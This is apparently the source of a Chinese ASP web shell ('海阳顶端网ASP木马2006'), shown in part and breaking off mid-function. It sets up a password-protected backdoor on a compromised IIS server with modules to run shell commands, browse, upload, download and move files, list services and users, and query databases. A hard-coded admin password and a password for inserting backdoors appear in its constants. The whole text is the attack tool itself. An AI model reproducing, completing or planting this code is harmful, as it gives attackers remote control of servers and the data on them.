123.asp

海阳顶端网ASP木马2006官方正式版 海阳顶端网ASP木马2006官方正式版

<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<object runat="server" id="sa" scope="page" classid="clsid:13709620-C279-11CE-A49E-444553540000"></object>
<%
'	Option Explicit

	Dim sTime, aspPath, pageName

	sTime = Timer
	pageName = Request("pageName")
	aspPath = Replace(Server.MapPath(".") & "\~86.tmp", "\\", "\") ''系统临时文件
	
	Const m = "HYTop2006α"					''自定义Session前缀
	Const myName = "芝麻开门,偶是老马"		''登录页按扭上的文字
	Const isDebugMode = False				''是否显示完整错误信息
	Const clientPassword = "#"				''插入后门的密码,如果要插入数据库中,只能为一个字符.
	Const notdownloadsExists = False		''原ACCESS数据库中是否存在notdownloadsExists表
	Const myCmdDotExeFile = "command.com"	''定义cmd.exe文件的文件名
	Const userPassword = "lcxMarcos"		''管理密码
	Const showLogin = ""					''为空直接显示登录界面,否则用"?pageName=它的值"来进行访问
	Const strJsCloseMe = "<input type=button value=' 关闭 ' onclick='window.close();'>"

	Sub chkErr(Err)
		If Err Then
			echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"
			echo "<br/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
			echo "<hr>Powered By Marcos 2005.02</font>"
			Err.Clear
			Response.End
		End If
	End Sub
	
	Sub echo(str)
		Response.Write(str)
	End Sub
	
	Sub isIn()
		If pageName <> "" And PageName <> "login" And PageName <> showLogin Then
			If Session(m & "userPassword") <> userPassword Then
				Response.End
			End If
		End If
	End Sub
	
	Sub showTitle(str)
		echo "<title>" & str & " - 海阳顶端网ASP木马2006α - By Marcos & LCX</title>" & vbNewLine
		echo "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" & vbNewLine
		echo "<!--getTerminalInfo()代码原型来自kEvin1986-->" & vbNewLine
		echo "<!--本版部分图标资源来自COCOON, 感谢Sunrise_Chen-->" & vbNewLine
		echo "<!--感谢:网辰在线、化境编程、桂林老兵、冰狐浪子、蓝屏、小路、wangyong、czy、allen、lcx、Marcos、kEvin1986对海阳顶端网asp木马所做的一切努力-->" & vbNewLine
		PageOther()
	End Sub
	
	Function fixNull(str)
		If IsNull(str) Then
			str = " "
		End If
		fixNull = str
	End Function
	
	Function encode(str)
		str = Server.HTMLEncode(str)
		str = Replace(str, vbNewLine, "<br>")
		str = Replace(str, " ", "&nbsp;")
		str = Replace(str, "	", "&nbsp;&nbsp;&nbsp;&nbsp;")
		encode = str
	End Function
	
	Function getTheSize(theSize)
		If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G"
		If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M"
		If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K"
		If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B"
	End Function
	
	Sub showExecuteTime()
		Response.Write "" & (Timer() - sTime) * 1000 & " ms"
	End Sub
	
	Function HtmlEncode(str)
		If isNull(str) Then
			Exit Function
		End If
		HtmlEncode = Server.HTMLEncode(str)
	End Function
	
	Function UrlEncode(str)
		If isNull(str) Then
			Exit Function
		End If
		UrlEncode = Server.UrlEncode(str)
	End Function
	
	Sub redirectTo(strUrl)
		Response.Redirect(Request.ServerVariables("URL") & strUrl)
	End Sub

	Function trimThePath(strPath)
		If Right(strPath, 1) = "\" And Len(strPath) > 3 Then
			strPath = Left(strPath, Len(strPath) - 1)
		End If
		trimThePath = strPath
	End Function

	Sub alertThenClose(strInfo)
		Response.Write "<script>alert(""" & strInfo & """);window.close();</script>"
	End Sub

	Sub showErr(str)
		Dim i, arrayStr
		str = Server.HtmlEncode(str)
		arrayStr = Split(str, "$$")
'		Response.Clear
		echo "<font size=2>"
		echo "出错信息:<br/><br/>"
		For i = 0 To UBound(arrayStr)
			echo "&nbsp;&nbsp;" & (i + 1) & ". " & arrayStr(i) & "<br/>"
		Next
		echo "</font>"
		Response.End
	End Sub

	Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
	Rem     下面是程序模块选择部分
	Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


	isIn()

	Select Case pageName
		Case showLogin, "login"
			PageLogin()
		Case "PageList"
			PageList()
		Case "objOnSrv"
			PageObjOnSrv()
		Case "ServiceList"
			PageServiceList()
		Case "userList"
			PageUserList()
		Case "CSInfo"
			PageCSInfo()
		Case "infoAboutSrv"
			PageInfoAboutSrv()
		Case "AppFileExplorer"
			PageAppFileExplorer()
		Case "SaCmdRun"
			PageSaCmdRun()
		Case "WsCmdRun"
			PageWsCmdRun()
		Case "FsoFileExplorer"
			PageFsoFileExplorer()
		Case "MsDataBase"
			PageMsDataBase()
		Case "OtherTools"
			PageOtherTools()
		Case "TxtSearcher"
			PageTxtSearcher()
	End Select

	Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
	Rem 	下面是各独立功能模块
	Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Sub PageAppFileExplorer()
		Response.Buffer = True
		Dim strExtName, thePath, objFolder, objMember, strDetails, strPath, strNewName
		Dim intI, theAct, strFolderList, strFileList, strFilePath, strFileName, strParentPath

		showTitle("Shell.Application文件浏览器(&stream)")

		theAct = Request("theAct")
		strNewName = Request("newName")
		thePath = Replace(LTrim(Request("thePath")), "\\", "\")
		
		If theAct <> "upload" Then
			If Request.Form.Count > 0 Then
				theAct = Request.Form("theAct")
				thePath = Replace(LTrim(Request.Form("thePath")), "\\", "\")
			End If
		End If

		echo "<style>body{margin:8;}</style>"
		
		Select Case theAct
			Case "openUrl"
				openUrl(thePath)
			Case "showEdit"
				Call showEdit(thePath, "stream")
			Case "saveFile"
				Call saveToFile(thePath, "stream")
			Case "copyOne", "cutOne"
				If thePath = "" Then
					alertThenClose("参数错误!")
					Response.End
				End If
				Session(m & "appThePath") = thePath
				Session(m & "appTheAct") = theAct
				alertThenClose("操作成功,请粘贴!")
			Case "pastOne"
				appDoPastOne(thePath)
				alertThenClose("粘贴成功,请刷新本页查看效果!")
			Case "rename"
				appRenameOne(thePath)
			Case "downTheFile"
				downTheFile(thePath)
			Case "theAttributes"
				appTheAttributes(thePath)
			Case "showUpload"
				Call showUpload(thePath, "AppFileExplorer")
			Case "upload"
				streamUpload(thePath)
				Call showUpload(thePath, "AppFileExplorer")
		End Select
		
		If theAct <> "" Then
			Response.End
		End If
		
		
		Set objFolder = sa.NameSpace(thePath)
		
		If Request.Form.Count > 0 Then
			redirectTo("?pageName=AppFileExplorer&thePath=" & UrlEncode(thePath))
		End If
		echo "<input type=hidden name=usePath /><input type=hidden value=AppFileExplorer name=pageName />"
		echo "<input type=hidden value=""" & HtmlEncode(thePath) & """ name=truePath />"
		echo "<div style='left:0px;width:100%;height:48px;position:absolute;top:2px;' id=fileExplorerTools>"
		echo "<input type=button value=' 打开 ' onclick='openUrl();'>"
		echo "<input type=button value=' 编辑 ' onclick='editFile();'>"
		echo "<input type=button value=' 复制 ' onclick=appDoAction('copyOne');>"
		echo "<input type=button value=' 剪切 ' onclick=appDoAction('cutOne');>"
		echo "<input type=button value=' 粘贴 ' onclick=appDoAction2('pastOne');>"
		echo "<input type=button value=' 上传 ' onclick='upTheFile();'>"
		echo "<input type=button value=' 下载 ' onclick='downTheFile();'>"
		echo "<input type=button value=' 属性 ' onclick='appTheAttributes();'>"
		echo "<input type=button value='重命名' onclick='appRename();'>"
		echo "<input type=button value='我的电脑' onclick=location.href='?pageName=AppFileExplorer&thePath='>"
		echo "<input type=button value='控制面板' onclick=location.href='?pageName=AppFileExplorer&thePath=::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\::{21EC2020-3AEA-1069-A2DD-08002B30309D}'>"
		echo "<form method=post action='?pageName=AppFileExplorer'>"
		echo "<input type=button value=' 后退 ' onclick='this.disabled=true;history.back();' />"
		echo "<input type=button value=' 前进 ' onclick='this.disabled=true;history.go(1);' />"
		echo "<input type=button value=站点根 onclick=location.href=""?pageName=AppFileExplorer&thePath=" & URLEncode(Server.MapPath("\")) & """;>"
		echo "<input style='width:60%;' name=thePath value=""" & HtmlEncode(thePath) & """ />"
		echo "<input type=submit value=' GO.' /><input type=button value=' 刷新 ' onclick='location.reload();'></form><hr/>"
		echo "</div><div style='height:50px;'></div>"
		echo "<script>fixTheLayer('fileExplorerTools');setInterval(""fixTheLayer('fileExplorerTools');"", 200);</script>"

		For Each objMember In objFolder.Items
			intI = intI + 1
			If intI > 200 Then
				intI = 0
				Response.Flush()
			End If
			
			If objMember.IsFolder = True Then
				If Left(objMember.Path, 2) = "::" Then
					strPath = URLEncode(objMember.Path)
				 Else
					strPath = URLEncode(objMember.Path) & "%5C"
				End If
				strFolderList = strFolderList & "<span id=""" & strPath & """ ondblclick='changeThePath(this);' onclick='changeMyClass(this);'><font class=font face=Wingdings>0</font><br/>" & objMember.Name & "</span>"
			 Else
			 	strDetails = objFolder.GetDetailsOf(objMember, -1)
			 	strFilePath = objMember.Path
				strFileName = Mid(strFilePath, InStrRev(strFilePath, "\") + 1)
				strExtName = Split(strFileName, ".")(UBound(Split(strFileName, ".")))
				strFileList = strFileList & "<span title=""" & strDetails & """ ondblclick='openUrl();' id=""" & URLEncode(strFilePath) & """ onclick='changeMyClass(this);'><font class=font face=" & getFileIcon(strExtName) & "</font><br/>" & strFileName & "</span>"
			End If
		Next

		strParentPath = getParentPath(thePath)
		If thePath <> "" And Left(thePath, 2) <> "::" Then
			strFolderList = "<span id=""" & URLEncode(strParentPath) & """ ondblclick='changeThePath(this);' onclick='changeMyClass(this);'><font class=font face=Wingdings>0</font><br/>..</span>" & strFolderList
		End If

		echo "<div id=FileList>"
		echo strFolderList & strFileList
		echo "</div>"
		echo "<hr/>Powered By Marcos 2005.02"
		
		Set objFolder = Nothing
	End Sub
	
	Function getParentPath(strPath)
		If Right(strPath, 1) = "\" Then
			strPath = Left(strPath, Len(strPath) - 1)
		End If
		If Len(strPath) = 2 Then
			getParentPath = " "
		 Else
			getParentPath = Left(strPath, InStrRev(strPath, "\"))
		End If
	End Function

	Function streamSaveToFile(thePath, fileContent)
		Dim stream
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Set stream = Server.CreateObject("adodb.stream")
		With stream
			.Type=2
			.Mode=3
			.Open
			chkErr(Err)
			.Charset="gb2312"
			.WriteText fileContent
			.saveToFile thePath, 2
			.Close
		End With
		Set stream = Nothing
	End Function
	
	Sub appDoPastOne(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim strAct, strPath
		dim objTargetFolder
		strAct = Session(m & "appTheAct")
		strPath = Session(m & "appThePath")
		
		If strAct = "" Or strPath = "" Then
			alertThenClose("参数错误,粘贴前请先复制/剪切!")
			Exit Sub
		End If
		
		If InStr(LCase(thePath), LCase(strPath)) > 0 Then
			alertThenClose("目标文件夹在源文件夹内,非法操作!")
			Exit Sub
		End If

		strPath = trimThePath(strPath)
		thePath = trimThePath(thePath)

		Set objTargetFolder = sa.NameSpace(thePath)
		If strAct = "copyOne" Then
			objTargetFolder.CopyHere(strPath)
		 Else
			objTargetFolder.MoveHere(strPath)
		End If
		chkErr(Err)
		
		Set objTargetFolder = Nothing
	End Sub
	
	Sub appTheAttributes(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim i, strSth, objFolder, objItem, strModifyDate
		strModifyDate = Request("ModifyDate")
		
		thePath = trimThePath(thePath)